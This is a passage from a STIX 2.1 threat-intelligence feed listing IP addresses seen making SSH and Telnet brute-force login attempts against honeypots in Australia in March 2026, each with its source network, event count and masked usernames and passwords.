      "valid_from": "2026-03-07T18:15:14.000Z",
      "valid_until": "2026-04-08T18:15:11.000Z"
    },
    {
      "created": "2026-03-07T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 272764. Organisation(s): DaLink Telecom LTDA. Usernames observed (masked): ***, c****s, a***n, s*****t. Passwords observed (masked): I***********************5, I***********************X.",
      "id": "indicator--8251aaa9-304a-4fd2-a24b-ee887cc449af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.14.6.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:15:14.000Z",
      "valid_until": "2026-04-08T18:15:11.000Z"
    },
    {
      "created": "2026-03-07T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:15:14.000Z",
      "valid_until": "2026-04-08T18:15:11.000Z"
    },
    {
      "created": "2026-03-07T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 202561. Organisation(s): High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.. Usernames observed (masked): , G************1. Passwords observed (masked): .",
      "id": "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.156.73.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:15:14.000Z",
      "valid_until": "2026-04-08T18:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): 3**********4, a*****r, ***, c*****1, e***n. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1**4, 1******8.",
      "id": "indicator--322391a7-5f97-46f8-9b41-876c6c2a445a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.103.245.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, a***********r, w****n, a**n, b*****r. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--75f8ab09-e4a2-48a2-b348-0e8d9afc2199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.219.239.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--b7aab99a-13f2-4d03-acdb-a2cdee2b0982",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.209.8.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--044cbf55-dca4-4e17-8306-7a447c9a3e3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--61f61d37-4f5e-4465-b4bb-4bbebc0e0cab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.91.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): a*****r, c*****1, e***n, p******s, v****r. Passwords observed (masked): 1**4, 1***5, 1******8, P**********!, V****3.",
      "id": "indicator--e18cf912-2363-469d-81bf-542e6d68223d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.142.73.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): 3**********4, a***********r, p**x, w****n, a**n. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1******8.",
      "id": "indicator--6d291b99-6171-4616-be36-105573900cf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.143.139.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T19:15:13.000Z",
      "valid_until": "2026-04-08T19:15:11.000Z"
    },
    {
      "created": "2026-03-07T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--21cadc4b-feb6-4ceb-8c7a-1af18ab9960b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.116.123.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:15:13.000Z",
      "valid_until": "2026-04-08T20:15:11.000Z"
    },
    {
      "created": "2026-03-07T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--47fba554-7fd3-4361-995e-f2ab0a65a8f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.22.209.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:15:13.000Z",
      "valid_until": "2026-04-08T20:15:11.000Z"
    },
    {
      "created": "2026-03-07T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--fa4f3798-aa90-48d7-9d3d-b9d0037e75b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.38.62.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:15:13.000Z",
      "valid_until": "2026-04-08T20:15:11.000Z"
    },
    {
      "created": "2026-03-07T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): ***, 3**********4, c***l, g*****a, **. Passwords observed (masked): 1**4, 1******8, p******d, 1****6, 3***********4.",
      "id": "indicator--8490d623-fb32-4a9e-8fe1-3ce0ea4ebb3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.168.139.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:15:13.000Z",
      "valid_until": "2026-04-08T20:15:11.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 671. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, ***, *. Passwords observed (masked): ***, 1****6, 1******8, 1**4, a******3.",
      "id": "indicator--51f55115-5c16-4a09-a88f-992bf8154793",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.81.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--1414de95-be77-4b8c-bad4-19a7f62230d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.86.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--f4efb083-e4cf-47c2-939a-4b1770f8bee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 56694. Organisation(s): LLC Smart Ape.",
      "id": "indicator--e066a2ab-fd9b-49b2-b7e2-ce99956f8bc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.127.250.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d1d48f3f-f1c7-4ddc-9116-c464a5f751b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.106.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5078df61-8355-4d43-b605-d0fa97b1f217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.81.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:15:15.000Z",
      "valid_until": "2026-04-08T21:15:13.000Z"
    },
    {
      "created": "2026-03-07T22:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): q*****r, 3**********4, a***s, f******r, f*******d. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, a******3.",
      "id": "indicator--4af03a5b-4558-4170-90da-0c8665fd1327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T22:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T22:15:09.000Z",
      "valid_until": "2026-04-08T22:15:07.000Z"
    },
    {
      "created": "2026-03-07T22:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T22:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T22:15:09.000Z",
      "valid_until": "2026-04-08T22:15:07.000Z"
    },
    {
      "created": "2026-03-07T22:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): f*******o, q*****r, ***. Passwords observed (masked): ***, q*********!, v*****s.",
      "id": "indicator--eb069cbe-d26a-4f09-93ca-0f920fa126f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T22:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T22:15:09.000Z",
      "valid_until": "2026-04-08T22:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): s******e. Passwords observed (masked): ***.",
      "id": "indicator--6dfe03c6-9109-4de3-8c35-a21eed6cd35d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.25.70.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): s******e. Passwords observed (masked): ***.",
      "id": "indicator--33c48079-6e4f-42f5-ada3-5e4e1e644649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.125.70.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--0cc113ac-68ba-4510-97f4-918ce96d651a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.46.237.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7a615bef-ffe2-4118-b483-8090a325a191",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.29.230.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--f23e46f9-fbf7-489c-8e06-1dc6f6e417fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.78.63.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e647fcfe-80bc-4d8c-b941-e22f5a3e2617",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.134.20.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): j*****h, 3**********4, a*******4, d********r, f********r. Passwords observed (masked): 3***********4, 3**********4, A**********3, J********3, Q***********9.",
      "id": "indicator--3d555d97-4004-4896-9c5c-108e2774473c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.79.134.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation. Usernames observed (masked): 3**********4, r**t, s**r, ***, b**1. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******2, ***.",
      "id": "indicator--179144e5-28b6-48cc-96cb-22887f154b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.98.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-07T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 7482. Organisation(s): Asia Pacific On-line Service Inc.. Usernames observed (masked): n*********e, 3**********4, **, c***s, d********r. Passwords observed (masked): ***, 1**4, 1******8, 3***********4, 3**********4.",
      "id": "indicator--b4864215-323c-4926-a6fa-c05c2676785d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.244.155.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T23:15:09.000Z",
      "valid_until": "2026-04-08T23:15:07.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): a**r, 3**********4, d**1, d****o, i**n. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--0a65a39f-4ab5-46fa-b997-56fbccd5591f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
